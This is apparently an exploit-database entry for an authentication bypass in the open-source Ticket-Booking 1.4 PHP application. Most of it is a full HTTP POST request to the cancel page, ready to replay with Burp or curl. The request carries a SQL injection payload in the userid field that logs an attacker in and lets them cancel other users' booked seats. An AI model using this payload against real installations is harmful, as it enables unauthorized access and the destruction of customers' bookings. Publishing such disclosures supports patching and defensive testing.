Ticket-Booking 1.4 - Authentication Bypass

# Exploit Title: Ticket-Booking 1.4 - Authentication Bypass
# Author: Cakes
# Discovery Date: 2019-09-14
# Vendor Homepage: https://github.com/ABHIJEET-MUNESHWAR/Ticket-Booking
# Software Link: https://github.com/ABHIJEET-MUNESHWAR/Ticket-Booking/archive/master.zip
# Tested Version: 1.4
# Tested on OS: CentOS 7
# CVE: N/A

# Description:
# Easy authentication bypass vulnerability on this ticket booking application 
# allowing the attacker to remove any previously booked seats

# Simply replay the below Burp request or use Curl (remember to change the Cookie Values)

POST /ticket/cancel.php HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://Target/ticket/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Cookie: PHPSESSID=j9jrgserbga22a9q9u165uirh4; rental_property_manager=mq5iitk8ic80ffa8dcf28294d4
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

userid='%20or%200%3d0%20#&password=123&save=signin